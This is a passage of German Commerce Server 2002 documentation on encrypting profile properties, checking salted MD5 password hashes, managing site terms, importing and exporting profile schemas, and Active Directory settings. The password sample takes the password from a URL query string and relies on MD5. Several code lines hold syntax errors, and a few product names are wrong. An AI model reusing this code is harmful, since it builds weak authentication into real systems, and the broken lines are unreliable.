              const AD_STATE_CLOSED         = &H00000000
              connstr= sGetSiteConfigField(oSiteConfigObj,
                                           "Biz Data Service"
                                           "s_CommerceProviderConnectionString")
             ' Append the public/private to the connection string

publicKey = "<hex-string>"privateKey1 = "<hex-string>"
             connstr = connstr & ";PublicKey=" & publicKey &
                ";PrivateKey1=" & privateKey1 & "; & "KeyIndex=1"
              set cn = Server.CreateObject("ADODB.Connection")
                          if (cn.State = AD_STATE_CLOSED) then
                            cn.Open CStr(connstr)
                            set cnGetProviderConnection = cn
              end if
End Function

Im Business Desk-Stammverzeichnis müssen Sie in der Datei \Profiles\CommonXMLRoutines.asp die Funktion cnGetProviderConnection auf dieselbe Weise ändern wie cnGetProviderConnection im vorhergehenden Beispiel. Diese Änderung sind erforderlich, um die Werte der Verbindungszeichenfolge in der Sitzungsstatusvariable speichern zu können.

Im Folgenden sind zwei Beispiele für Verbindungszeichenfolgen aufgeführt:

Beispiel für eine Profildienst-Verbindungszeichenfolge:

"Provider=CSOLEDB;SERVER=<Servername>;DATABASE=<DB-Name>;UID=<DB-Benutzername>;PWD=<DB-Kennwort>;PublicKey=<Hex-Zeichenfolge>;PrivateKey1=<Hex-Zeichenfolge>;PrivateKey2=<Hex-Zeichenfolge>;KeyIndex=1"

Beispiel für eine CSOLEDB Provider-Verbindungszeichenfolge:

"url=mscop://InProcConnect/Server=<Servername>:Database=<DB-Name>:Catalog=Profile Definitions:User=<DB-Benutzername>:Password=<DB-Kennwort>:PublicKey=<Hex-Zeichenfolge>:PrivateKey1=<Hex-Zeichenfolge>:PrivateKey2=<Hex-Zeichenfolge>:KeyIndex=1"

Wenn in der Anwendung die ASP.NET-Plattform eingesetzt wird, müssen Sie in der Datei web.config folgenden Codeabschnitt hinzufügen. (Im GrenadeFxTest-Beispiel finden Sie den Code zum Ändern der Datei web.config, der dort zwar eingefügt, aber auskommentiert wurde.)

<profiles>
   <encryption>
      <keys keyIndex = "1">
         <add type="publicKey" value="<hex-string>" />
            <add type="privateKey1" value="<hex-string>" />
               <add type="privateKey2" value="<hex-string>" />
      </keys>
    </encryption>


Erstellen und Abrufen einer Profilinstanz mit einer verschlüsselten Eigenschaft

Verschlüsselungsfähige Websites müssen sowohl Code enthalten, der neue Profile mit verschlüsselten Eigenschaften erstellt, als auch Code, der die verschlüsselten Eigenschaften aus der Datenbank abruft, entschlüsselt und anzeigt. Das folgende Codebeispiel veranschaulicht diese Funktionalität. Außerdem wird dargestellt, wie die verschlüsselten Werte aus der Datenbank abgerufen werden, um den Unterschied zum Abrufen entschlüsselter Werten zu verdeutlichen. In diesem Beispiel wird davon ausgegangen, dass für die Verschlüsselung der Profileigenschaft SSN die asymmetrische Verschlüsselung verwendet wird.

Hinweise

  • Profilnamen mit mehr als 57 Zeichen können nicht in das Data Warehouse exportiert werden.
  • Werte für verschlüsselte Eigenschaften und für unverschlüsselte Eigenschaften werden auf dieselbe Weise festgelegt. Nach der Angabe der Verbindungszeichenfolge verwenden Aufrufe, mit denen Variablen Werte zugewiesen werden, immer dieselbe Syntax, unabhängig davon, ob der Wert verschlüsselt werden soll.
  • Das Feld keyIndex ist schreibgeschützt.
option explicit
Dim ProfileSvc
Dim ProfileObject
Dim GenInfo
Dim dsn
Dim PublicKey, PrivateKey1, PublicKey2, PrivateKey2
PublicKey = "<hex-string>"

' Build Connection String
PrivateKey1 = "<hex-string>"
dsn = "Provider=CSOLEDB;Data Source=<server>;Initial Catalog=Retail_commerce;User ID=<user-id>;Password=<password>;"
Dsn = Dsn & "PublicKey=" & PublicKey & ";PrivateKey1=" & PrivateKey1 & ";KeyIndex=1"

' Initialize Profile Service
Set ProfileSvc  = CreateObject("Commerce.ProfileService")
Call ProfileSvc.Initialize (dsn, "Profile Definitions")

' Get Profile
Set ProfileObject = ProfileSvc.CreateProfile("jackcool7@somewhere.com","UserObject")

' Set Properties
Set GenInfo=ProfileObject.Fields.Item("GeneralInfo")
GenInfo.Value.Item("first_name").Value="Jack"
GenInfo.Value.Item("last_name").Value="Cool7"
GenInfo.Value.Item("user_title").Value="Mr."
GenInfo.Value.Item("SSN").Value="123-45-6789"

' Writing to keyIndex will fail, keyIndex is read-only
'GenInfo.Value.Item(<keyIndex).Value=2

ProfileObject.Update

' Read Properties
MsgBox GenInfo.Value.Item("SSN").Value
MsgBox GenInfo.Value.Item(<keyIndex>.Value

' Cleanup
Set ProfileObject=nothing
Set ProfileSvc=nothing
MsgBox "Done!"


Unidirektionale Hashfunktionen: Konvertieren und Vergleichen der Benutzereingabe mit dem Hashwert

Unidirektionale Hashfunktionen können zum Verschlüsseln von Daten verwendet werden, die nicht entschlüsselt werden müssen. Eine Beispielimplementierung hierfür ist die Kennwortverschlüsselung. Bei unidirektionalen Hashfunktionen mit Commerce Server 2002 wird der MD5-Hashalgorithmus verwendet.

Im folgenden wird ein Beispiel für Code aufgeführt, mit dem Hashwerte verglichen werden. In dem Beispielszenario werden Kennwörter verwendet, die mit unidirektionalen Hashfunktionen verschlüsselt wurden. Wenn der Benutzer ein Kennwort erstellt, wird der Kennwortwert über die Kennworteigenschaft an den Profildienst übermittelt. Wenn der Benutzer die Site später erneut besucht und anhand des zuvor erstellten Profils authentifiziert wird, ruft die Site aus den ersten Zeichen im Hash den Salt ab, addiert den Salt zu der Benutzereingabe und kombiniert diesen Wert dann im Hash.

Der daraus resultierende Hash für das Kennwort wird dann, abzüglich des vorangestellten Salt, mit dem zuvor gespeicherten Hash verglichen.

In diesem Hashbeispiel wird ein MD5-Algorithmus in Kombination mit einem beliebigen Salt verwendet. Der Salt wird als die ersten vier Bytes (acht Hexadezimalziffern) des von der Profileigenschaft zurückgegebenen Wertes abgerufen. Er wird vor dem Erstellen des Hash an den Anfang des Eingabewertes angehängt.

Der für den Vergleich verwendete Hashwert muss ohne Beachtung der Groß- und Kleinschreibung verglichen werden, bzw. es muss sichergestellt sein, dass alle Hexadezimalziffern groß geschrieben sind. Das folgende Codebeispiel veranschaulicht die Konvertierung in Großbuchstaben.

Hinweis

  • Bei diesem Hash-Algorithmus muss für die Zeichenfolge die Little Endian-Byteanordnung verwendet werden, um bei der Implementierung des Zeichenfolgenvergleichs den Bytestream in den MD5-Hash zu schreiben.
// get password from user
string inputPassword = Request.QueryString["password"].Value;
// get password stored in user profile
Profile profile = profileContext.GetProfile(userId, profileDefinition);
string storedPassword = (string)profile["GeneralInfo.Password"].Value;

// get salt value
byte saltByte1 = Byte.Parse(storedPassword.Substring(0,2), System.Globalization.NumberStyles.HexNumber);
byte saltByte2 = Byte.Parse(storedPassword.Substring(2,2), System.Globalization.NumberStyles.HexNumber);
byte saltByte3 = Byte.Parse(storedPassword.Substring(4,2), System.Globalization.NumberStyles.HexNumber);
byte saltByte4 = Byte.Parse(storedPassword.Substring(6,2), System.Globalization.NumberStyles.HexNumber);

// create byte array to hash that has salt and password string
System.Text.UnicodeEncoding encode = new System.Text.UnicodeEncoding();
// encoding format is little endian
byte[] dataBuffer = new byte[encode.GetByteCount(inputPassword) + 4]; // get number of bytes and create buffer
dataBuffer[0] = saltByte1; // put salt into first 4 bytes of the buffer
dataBuffer[1] = saltByte2;
dataBuffer[2] = saltByte3;
dataBuffer[3] = saltByte4;

byte[] inputPasswordBytes = encode.GetBytes(inputPassword);

// copy bytes of password into buffer after salt
inputPasswordBytes.CopyTo(dataBuffer, 4);
// get hash
System.Security.Cryptography.MD5CryptoServiceProvider md5 = new System.Security.Cryptography.MD5CryptoServiceProvider();
byte[] hash = md5.ComputeHash(dataBuffer); // get MD5 hashed value

// convert hash value to hex string
System.Text.StringBuilder sb = new System.Text.StringBuilder();
foreach(byte outputByte in hash)
// convert each byte to a Hexadecimal upper case string
   sb.Append(outputByte.ToString("x2").ToUpper());

// verify input password's hash value matches stored hash minus the salt
if (storedPassword.SubString(8) == sb.ToString())
{
// user is now authenticated
}


Wichtige Hinweise zur Verschlüsselung von Profilschlüsseln

Der private Schlüssel darf nicht auf dem Webserver, sondern muss auf dem Anwendungsserver gespeichert werden. In einer sicheren Umgebung befinden sich zwischen dem externen Benutzer und dem Server, auf dem der Privatschlüssel gespeichert ist, zwei Firewalls: eine zwischen dem Webserver (auf dem der öffentliche Schlüssel gespeichert ist) und der Datenbank und ein anderer zwischen der Datenbank und dem Anwendungsserver (auf dem der private Schlüssel gespeichert ist).

Damit Business Desk die Verschlüsselung unterstützt, müssen Sie den öffentlichen Schlüssel für die Verbindungszeichenfolge des Providers in den folgenden Methoden hinzufügen:

  • sGetProviderConnStr-Methode in der Datei \<Business Desk Root>\Profiles\Commonxmlroutines.asp
  • RefreshProviderConnection-Methode in der Datei \<Business Desk Root>\Profiles\RefreshProfileSvcAll.asp
  • cnGetProviderConnection-Methode in der Datei \<Business Desk Root>\Global.asa


Verwalten von Sitebegriffen in der Profilressource

Mit der Profilressource können Sie Sitebegriffe nach Bedarf ändern oder löschen. Sie können z. B. einen Sitebegriff mit dem Namen Lieblingsfarbe erstellen und dann die darin aufgeführten Farben zur besseren Abstimmung mit Ihrem Inventar je nach Jahreszeit ändern.

Dieser Abschnitt beinhaltet folgende Themen:

  • Erstellen von Sitebegriffen in der Profilressource
  • Ändern und Löschen von Sitebegriffen in der Profilressource
  • Hinzufügen einer einem Sitebegriff in der Profilressource zugeordneten Eigenschaft

Siehe auch

Informationen zur Profilressource


Erstellen von Sitebegriffen in der Profilressource

Mit der Profilressource können Sie neue Sitebegriffe zu Commerce Server hinzufügen. Sie können diesen Vorgang auch durchführen, indem Sie das Modul "Sitebegriffs-Editor" in Commerce Server Business Desk verwenden. Informationen zum Hinzufügen eines Sitebegriffs in Commerce Server Business Desk finden Sie unter Hinzufügen eines Sitebegriffs.

Wenn Sie Commerce Server einen neuen Sitebegriff hinzufügen, definieren Sie Werte für den Sitebegriff, die als Begriffe bezeichnet werden. Mit Sitebegriffen lassen Sie bestimmte Werte für eine Profileigenschaft auflisten. Wenn Sie einen Sitebegriff erstellt haben, können Sie ihn als Wert einer Profileigenschaft zuweisen.

Ein Beispiel: Sie erstellen den Sitebegriff Lieblingsfarbe mit den Werten Blau, Grün und Lila. Dann definieren Sie die Profileigenschaft Lieblingsfarbe mit dem Typ Sitebegriff und weisen ihr den Sitebegriff Lieblingsfarbe zu. Wenn Benutzer eine Farbe für die Eigenschaft Lieblingsfarbe auswählen, sind sie auf die zur Auswahl stehenden Optionen Blau, Grün und Lila beschränkt. Zum Hinzufügen neuer Sitebegriffe verwenden Sie das Sitebegriffs-Editor-Fenster in der Profilressource.

Sie können Sitebegriffsgruppen erstellen, um die Sitebegriffe im Sitebegriffs-Editor-Fenster besser zu organisieren. So könnten Sie z. B. zusätzlich zur Lieblingsfarbe die folgenden Sitebegriffe mit den entsprechenden Werten erstellen und sie in einer Sitebegriffsgruppe mit Benutzerpräferenzen zusammenfassen:

  • Marke (Markenprodukte, Hausmarken)
  • Qualität (niedrigster Preis, höchste Qualität)
  • Kaufmodus (Online, Versand, Geschäft)

So fügen Sie eine Sitebegriffsgruppe hinzu

So fügen Sie einen Sitebegriff hinzu

So fügen Sie eine Sitebegriffsgruppe hinzu

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen und Profile (Servername_Datenbankname), und klicken Sie dann auf Sitebegriffe.
  2. Klicken Sie in der Liste Eigenschaften, die die Sitebegriffsstrukturen enthält, auf Hinzufügen.
  3. Wählen Sie im Dialogfeld Hinzufügen – Webseite die Option Neue Gruppe hinzufügen aus, und klicken Sie dann auf OK.
  4. Führen Sie im Bereich Detaillierte Informationen (im Abschnitt Attribute) folgende Schritte aus:
    Option | Aktion
    Name | Geben Sie den programmtechnischen Namen der Sitebegriffsgruppe ein. Der Name kann bis zu 128 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der für die Sitebegriffsgruppe angezeigt werden soll. Der angezeigte Name kann aus maximal 128 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung der Sitebegriffsgruppe ein. Die Beschreibung kann aus maximal 128 Unicode-Zeichen bestehen.
  5. Klicken Sie auf Übernehmen.
  6. Klicken Sie zum Speichern der Sitebegriffsgruppe auf der Symbolleiste auf Speichern.

So fügen Sie einen Sitebegriff hinzu

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen und Profile (Servername_Datenbankname), und klicken Sie dann auf Sitebegriffe.
  2. Wählen Sie in der die Sitebegriffsstruktur enthaltenden Liste Eigenschaften die Sitebegriffsgruppe aus, in der Sie den neuen Sitebegriff erstellen möchten, und klicken Sie dann auf Hinzufügen.
  3. Wählen Sie im Dialogfeld Hinzufügen – Webseite die Option Neuen Sitebegriff hinzufügen aus, und klicken Sie dann auf OK.
  4. Führen Sie im Bereich Detaillierte Informationen (im Bereich Sitebegriffsattribute) folgende Schritte aus:
    Option | Aktion
    Name | Geben Sie den programmtechnischen Namen des Sitebegriffs ein. Der Name kann bis zu 128 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der für den Sitebegriff angezeigt werden soll. Der angezeigte Name kann aus maximal 128 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung des Sitebegriffs ein. Die Beschreibung kann aus maximal 128 Unicode-Zeichen bestehen.
  5. Um dem Sitebegriff einen Wert hinzuzufügen, klicken Sie im Abschnitt Begriffe auf Neu, und nehmen Sie dann die folgenden Einstellungen vor:
    Option | Aktion
    Begriffsname | Geben Sie den programmtechnischen Namen des ersten Begriffs ein. Der Name kann bis zu 128 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen oder Doppelbyte-Zeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der für den Begriff angezeigt werden soll. Der angezeigte Name kann aus maximal 128 Unicode-Zeichen bestehen.
  6. Um den Begriff anzunehmen, klicken Sie auf Annehmen.
  7. Um dem Sitebegriff einen weiteren Begriff hinzuzufügen, klicken Sie auf Neu, geben Sie den Begriffsnamen und den angezeigten Namen für den neuen Begriff ein, und klicken Sie dann nacheinander auf Annehmen und auf Übernehmen.
  8. Klicken Sie zum Speichern der Sitebegriffe auf der Symbolleiste auf Speichern.

Die Begriffe werden mit dem von Ihnen erstellten neuen Sitebegriff gespeichert.

Siehe auch

Informationen zur Profilressource

Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden

Verwalten von Sitebegriffen in der Profilressource


Ändern und Löschen von Sitebegriffen in der Profilressource

Sie können die Attribute und Begriffe der von Ihnen erstellten Sitebegriffe ändern oder die Sitebegriffe löschen.

So ändern Sie einen Sitebegriff

So löschen Sie einen Sitebegriff

So ändern Sie einen Sitebegriff

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile und Profilkatalog, und klicken Sie dann auf Sitebegriffe.
  2. Erweitern Sie in der Liste Sitebegriffstruktur die Sitebegriffsgruppe, die den Sitebegriff enthält, den Sie ändern möchten.
  3. Ändern Sie im Profil-Designer-Fenster die Attribute und Begriffe des Sitebegriffs wie erforderlich, klicken Sie auf Annehmen und dann auf Übernehmen.
  4. Klicken Sie zum Speichern des Sitebegriffs auf der Symbolleiste auf Speichern.

Der Sitebegriff wird einschließlich der Änderungen gespeichert.

So löschen Sie einen Sitebegriff

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile und Profilkatalog, und klicken Sie dann auf Sitebegriffe.
  2. Erweitern Sie in der Liste Sitebegriffstruktur die Sitebegriffsgruppe, die den Sitebegriff enthält, den Sie löschen möchten, wählen Sie den Sitebegriff aus, und klicken Sie auf Entfernen.
  3. Klicken Sie im Bestätigungsdialogfeld Löschen? auf OK.

    Der Sitebegriff wird gelöscht.

  4. Klicken Sie auf Annehmen und anschließend auf Übernehmen.
  5. Klicken Sie zum Speichern der Änderungen auf der Symbolleiste auf Speichern.

Der Sitebegriff wird einschließlich der Änderungen gespeichert.


Hinzufügen einer einem Sitebegriff in der Profilressource zugeordneten Eigenschaft

Mit der Profilressource können Sie Profildefinitionen Sitebegriffe hinzufügen. Sie können diesen Vorgang auch durchführen, indem Sie das Modul "Profil-Designer" in Commerce Server Business Desk verwenden. Weitere Informationen finden Sie unter Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden.

Wenn Sie einer Profileigenschaft einen Sitebegriff hinzufügen, erhalten Benutzer in Ihrer Website eine Dropdownliste mit den Sitebegriffswerten für die Eigenschaft. Die Auswahl, die von Benutzern in der Sitebegriffs-Dropdownliste in Ihrer Website vorgenommen wird, wird im Profil für den betreffenden Benutzer mit dem Typ Zeichenfolge gespeichert.

So fügen Sie einen Sitebegriff zu einer Profildefinition hinzu

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, und klicken Sie dann auf die Profildefinition, der Sie einen Sitebegriff hinzufügen möchten.
  2. Erweitern Sie im Profil-Designer-Fenster in der Liste Eigenschaften die Eigenschaftsgruppe, die die gewünschte Eigenschaft enthält, und wählen Sie dann die Eigenschaft aus, der Sie den Sitebegriff hinzufügen möchten.
  3. Wählen Sie im Profil-Designer-Fenster im Abschnitt Attribute die Option Sitebegriff in der Dropdownliste Typ aus.
  4. Klicken Sie im Feld Typverweis auf die Schaltfläche mit den Auslassungspunkten [...].
  5. Erweitern Sie im Dialogfeld Sitebegriffsauswahl in der Liste Wählen Sie einen Sitebegriff aus die Sitebegriffsgruppe, die den Sitebegriff enthält, den Sie der Eigenschaft zuweisen möchten, und wählen Sie den Sitebegriff aus.
  6. Klicken Sie auf OK und anschließend auf Übernehmen.

    Der Sitebegriff wird der Eigenschaft zugewiesen.

  7. Klicken Sie zum Speichern der Profildefinition auf der Symbolleiste auf Speichern.

Die Profildefinition wird einschließlich der Eigenschaftsänderung gespeichert.

Siehe auch

Informationen zur Profilressource

Hinzufügen von Eigenschaften zu Profildefinitionen in der Profilressource

Erstellen von Sitebegriffen in der Profilressource

Verwalten von Sitebegriffen in der Profilressource


Exportieren und Importieren von Profilschemas

Mit der Profilressource können Sie ein Profilschema in eine XML-Datei exportieren bzw. aus einer XML-Datei importieren. Sie können beispielsweise Datenquellen, Profildefinitionen und Sitebegriffe auf einem Testcomputer erstellen und diese dann in eine XML-Datei exportieren. Auf Ihrem Produktionsserver können Sie dann das Profilschema aus der XML-Datei importieren.

Der Import und Export von Profilschemas ermöglicht die schnelle Migration zwischen Servern. Die kann beispielsweise hilfreich sein, wenn Sie das Profilschema von einer Testumgebung auf einen Produktionsserver verschieben.

Dieser Abschnitt beinhaltet folgende Themen:

  • Exportieren von Profilschemas
  • Importieren von Profilschemas
  • Importieren von Benutzerprofilen


Exportieren von Profilschemas

Der Export eines Profilschemas ermöglicht die Übernahme folgender Elemente aus der Profilressource in eine XML-Datei:

  • Datenquellen
  • Datenquellenpartitionen (ohne Benutzernamen und Kennwörter)
  • Profildefinitionen
  • Sitebegriffe

Die Verbindungszeichenfolgen für Benutzernamen und Kennwörter werden bei Datenquellenpartitionen nicht exportiert. Wenn Sie ein Profilschema importieren, müssen Sie für jede importierte Datenquellenpartition die Verbindungszeichenfolgen neu erstellen.

So exportieren Sie ein Profilschema

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen und Profile (Computername_Datenbankname), klicken Sie dann mit der rechten Maustaste auf Profilkatalog, und klicken Sie schließlich auf Profilschema exportieren.
  2. Wählen Sie im Dialogfeld Datei auswählen das zu exportierende Profilschema aus, und klicken Sie dann auf Speichern, um die neue XML-Datei zu speichern.
  3. Klicken Sie im Dialogfeld Das Profilschema wurde erfolgreich exportiert auf OK.

Die XML-Datei wird unter dem angegebenen Dateinamen gespeichert. Die Profilressource entfernt Benutzernamen und Kennwörter aus den Verbindungszeichenfolgen der exportierten Datenquellenpartitionen. Wenn Sie das Profilschema importieren, müssen Sie für jede Datenquellenpartition die Verbindungszeichenfolgen neu erstellen. Sie können die XML-Datei mit dem exportierten Profilschema in einem Editor öffnen (z. B. Microsoft Editor), in einem Webbrowser anzeigen (z. B. Microsoft Internet Explorer) oder in die Commerce Server-Profilressource importieren.


Importieren von Profilschemas

Beim Import von Schemas werden die folgenden Elemente aus einer XML-Datei in die Profilressource übernommen:

  • Datenquellen
  • Datenquellenpartitionen (ohne Benutzernamen und Kennwörter)
  • Profildefinitionen
  • Sitebegriffe

Beim Import eines Profilschemas wird das vorhandene Profilschema überschrieben.

So importieren Sie ein Profilschema

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen und Profile (Computername_Datenbankname), klicken Sie dann mit der rechten Maustaste auf Profilkatalog, und klicken Sie schließlich auf Profilschema importieren.
  2. Wählen Sie im Dialogfeld Datei auswählen das zu importierende Profilschema aus, und klicken Sie dann auf Öffnen, um das Dialogfeld Profilschemaimport zu öffnen.
  3. Wählen Sie im Dialogfeld Profilschema importieren die Datei mit dem zu importierenden Profilschema aus, und klicken Sie dann auf Importieren.

    Hinweis

    • Wenn Sie die Verbindungszeichenfolge für das ausgewählte Profilschema bearbeiten möchten, klicken Sie auf Bearbeiten.
  4. Erweitern Sie im Dialogfeld Partitionen die Datenquelle mit den zu importierenden Partitionen. Wählen Sie die zu importierende Datenquellenpartition aus, und klicken Sie dann auf Bearbeiten.

    Sie müssen für jede zu importierende Datenquellenpartition einen Benutzernamen und ein Kennwort eingeben.

    Hinweis

    • Informationen zum Einrichten von SQL Server-Partitionen finden Sie unter So erstellen Sie eine neue Datenquelle mit einer SQLServer-Datenbankpartition. Informationen zum Hinzufügen einer neuen LDAPv3-kompatiblen Quelle finden Sie unter So erstellen Sie eine neue Datenquelle des Typs "LDAPv3-kompatible Quelle".
  5. Klicken Sie im Dialogfeld für die Partitionsverbindungszeichenfolge auf Testen, um die Funktion der Verbindungszeichenfolge zu überprüfen.
  6. Wiederholen Sie die Schritte 4 bis 6, bis Sie für alle zu importierenden Partitionen die gewünschten Benutzernamen und Kennwörter hinzugefügt haben.
  7. Klicken Sie auf Importieren, um die Partition zu importieren. Klicken Sie auf Ja, um die Partition zu importieren und das vorhandene Schema zu überschreiben.

Das Profilschema wird importiert, wobei das vorhandene Schema überschrieben wird.


Importieren von Benutzerprofilen

Mit den folgenden Methoden können Sie Benutzerprofildaten aus externen Systemen importieren:

  • Hängen Sie Benutzerprofildaten an vorhandene Daten an. Hierzu können Sie das Aggregationsfeature des Profilsystems verwenden. Mit dieser Option werden die vorhandenen Daten wie eine beliebige andere Datenquelle behandelt.
  • Importieren Sie die Daten in das Profilsystem von Commerce Server. Das Profilsystem stellt eine OLE DB-Schnittstelle bereit, auf die Sie über Active Directory-Objekte zugreifen und mit der Sie einfache SQL-Anweisungen wie Einfügen, Aktualisieren, Löschen und Auswählen ausführen können.


Verwalten bereits vorhandener Konten in ActiveDirectory-Speichern

Feedback zu dieser Seite senden Commerce Server 2002

Verwalten bereits vorhandener Konten in Active Directory-Speichern

Wenn Sie bereits vorhandene Konten in Active Directory nutzen möchten, müssen Sie den Suchcontainer und den Suchbereich von Active Directory-Datenquellen korrekt konfigurieren. Wenn der Suchcontainer und der Suchbereich korrekt konfiguriert sind, ist das Profilsystem in der Lage, die vorhandenen Konten für verschiedene Verzeichnisoperationen, wie z. B. das Erstellen und Abrufen von Objekten, zu finden. Zu Beginn eines jeden Suchvorgangs ermittelt das Profilsystem den Startcontainer für den Suchvorgang und überprüft, ob es die Suche nur innerhalb einer Ebene oder auch in untergeordneten Verzeichnissen durchführen soll.

Dieser Abschnitt beinhaltet folgende Themen:

  • Startcontainer für Verzeichnisoperationen
  • Suchbereich


Startcontainer für Verzeichnisoperationen

Das Profilsystem stellt drei Attribute zum Definieren des Startsuchcontainers bereit:

  • ÜbergeordnetnerDN
  • DefaultParentURL
  • Übergeordneter URL

Diese Attribute sind in einer Hierarchie angeordnet, die die Prioritäten beim Suchvorgang bestimmt. Die drei nachstehenden Themen folgen genau dieser Hierarchie.

ÜbergeordnetnerDN

Die Eigenschaft ÜbergeordneterDN wird der Profildefinition optional hinzugefügt, um den eindeutigen Namen (DN) des Startsuchcontainers festzulegen. Wenn diese Eigenschaft verwendet wird, kann der Container für ein einzelnes Profil festgelegt werden, wodurch die Einstellungen für das DefaultParentURL-Attribut und das Übergeordneter URL-Attribut außer Kraft gesetzt werden. Die Angabe dieses Attributs ermöglicht die detaillierteste Steuerungsebene.

DefaultParentURL

Das Attribut DefaultParentURL wird der Profildefinition als benutzerdefiniertes Attribut hinzugefügt (siehe nachstehende Abbildung). Der Wert dieses Attributs verhält sich relativ zum benutzerdefinierten Attribut defaultNamingContext, das für die Datenquelle festgelegt wird. Er wird als Startsuchcontainer für alle Profile dieses Definitionstyps verwendet, für die kein anderer Wert in einer Eigenschaft ÜbergeordneterDN festgelegt wurde. Dieses Attribut setzt das Attribut Übergeordneter URL außer Kraft.

Die folgende Abbildung veranschaulicht, wie das DefaultParentURL-Attribut dem Benutzerobjektprofil hinzugefügt wird.

Attribut "ParentDefaultURL" wird Benutzerobjektprofil hinzugefügt.

Übergeordneter URL

Das Übergeordneter URL-Attribut können Sie auf der Registerkarte Systemattribute im Dialogfeld Eigenschaften für die LDAP-Datenquelle festlegen, die die Profilressource von Commerce Server Manager verwendet. Der Wert dieses Attributs entspricht dem eindeutigen Namen (Distinguished Name, DN) des Startsuchcontainers.

Angenommen, die vorhandenen Konten sind in CN=Users,DC=testDomain,DC=com gespeichert. In diesem Fall bestünde eine Möglichkeit, das Profilsystem zum Lesen der Konten aus diesem Container zu veranlassen, darin, für das Attribut Übergeordneter URL der Active Directory-Datenquelle CN=Users,DC=testDomain,DC=com festzulegen. Das Profilsystem führt alle nachfolgenden Verzeichnisoperationen in diesem Container aus, sofern die Einstellung nicht durch das Attribut DefaultParentURL oder die Eigenschaft ÜbergeordneterDN überschrieben wird.


Suchbereich

Der Suchbereich richtet sich danach, ob es sich bei dem Clientvorgang um einen Massenvorgang (Aufruf einer SELECT-Abfrage an einen OLE DB-Provider) oder einen Einzelvorgang (Aufruf der GetProfile-Methode des ProfileService-Objekts) handelt. Bei Massenvorgängen wird der Suchbereich immer auf untergeordnete Verzeichnisse eingestellt (d. h., die Unterverzeichnisse des angegebenen Attributs ÜbergeordneterURL werden ebenfalls durchsucht). Bei Vorgängen für Einzelinstanzen wird der Suchbereich standardmäßig auf nur eine Verzeichnisebene eingestellt, und es werden keine Unterverzeichnisse durchsucht. Sie können den Clientvorgang so konfigurieren, dass Unterverzeichnisse mit der Profilressource von Commerce Server-Manager durchsucht werden.


Überwachen von CommerceServer-Sites

Feedback zu dieser Seite senden Commerce Server 2002

Überwachen von Commerce Server-Sites

Microsoft Windows 2002 Server und Commerce Server 2000 bieten eine Reihe von Überwachungstools, mit denen Systemadministratoren die Leistung von Commerce Server-Sites überwachen können. Die unter Windows 2000 Server und in Commerce Server zur Verfügung stehenden Tools dienen der Analyse der Siteverwendung. Anhand der Analyseergebnisse können Sie die Leistung Ihrer Website optimieren und Platz für Wachstum schaffen.

Am Anfang der Siteüberwachung stehen stets die Planung und Konfiguration der Überwachungstools. Nach Erstellung eines Überwachungsplans finden Sie unter Optimieren von Commerce Server weitere Informationen zum Optimieren der Leistung Ihrer Sites.

Commerce Server generiert in dem Snap-In für die Ereignisanzeige Ereignisse. Anhand dieser Ereignisse können Sie überprüfen, ob Commerce Server die gewünschte Leistung erbringt. Weitere Informationen zur Ereignisanzeige und zum Systemmonitor finden Sie in der Hilfe zu Windows 2000 Server.

Dieser Abschnitt beinhaltet folgende Themen:

  • Informationen zur Überwachung von Sites. Beschreibt die einsetzbaren Überwachungstools.
  • Einrichten der Überwachungskonfiguration. Beschreibt die Planung und Konfigurierung der Überwachungstools.
  • Überwachen von Produktionsservern. Beschreibt Möglichkeiten zur Überwachung von Produktionsservern.
  • Überwachen der Verfügbarkeit von Commerce-Sites. Enthält eine Verfügbarkeitscheckliste für die Überwachung Ihrer Site.
  • Hardwareleistungsindikatoren. Führt die Hardwareleistungsindikatoren auf, die in einer Commerce Server 2002-Installation überwacht werden sollten.
  • Commerce Server-Leistungsindikatoren. Führt die in Commerce Server 2002 verfügbaren Leistungsindikatoren auf.
  • . Beschreibt die Verwendung der Leistungsindikatoren von Commerce Server für die Überwachung der Vorhersageressource.


Informationen zur Überwachung von Sites

Zur Überwachung von Commerce Server 2002-Sites verwenden Sie Commerce Server-Leistungsindikatoren sowie Server- und Ressourcenüberwachungstools, die in Microsoft Windows 2000 Server und Microsoft Visual Studio verfügbar sind.

In diesem Abschnitt werden Tools behandelt, die nicht aus Commerce Server stammen. Informationen zu Commerce Server-Leistungsindikatoren finden Sie unter Commerce Server-Leistungsindikatoren.

Health Monitor

IPSec-Monitor (Internet Protocol Security)

Microsoft Web Application Stress-Tool

Netzwerkmonitor

SQL Server Profiler

Visual Studio Analyzer

Active Directory-Leistungsüberwachungstools

Health Monitor

Bei Health Monitor handelt es sich um einen Dienst unter Microsoft Application Center 2000. Health Monitor zeigt Ereignisse und Schwellenwertüberschreitungen an. Dazu wird auf jedem überwachten Server ein Agent ausgeführt, und die Werte werden in WMI (Windows Machine Interface) nachverfolgt. Weitere Informationen zu Application Center finden Sie in der Hilfe zu Microsoft Application Center 2000.

IPSec-Monitor (Internet Protocol Security)

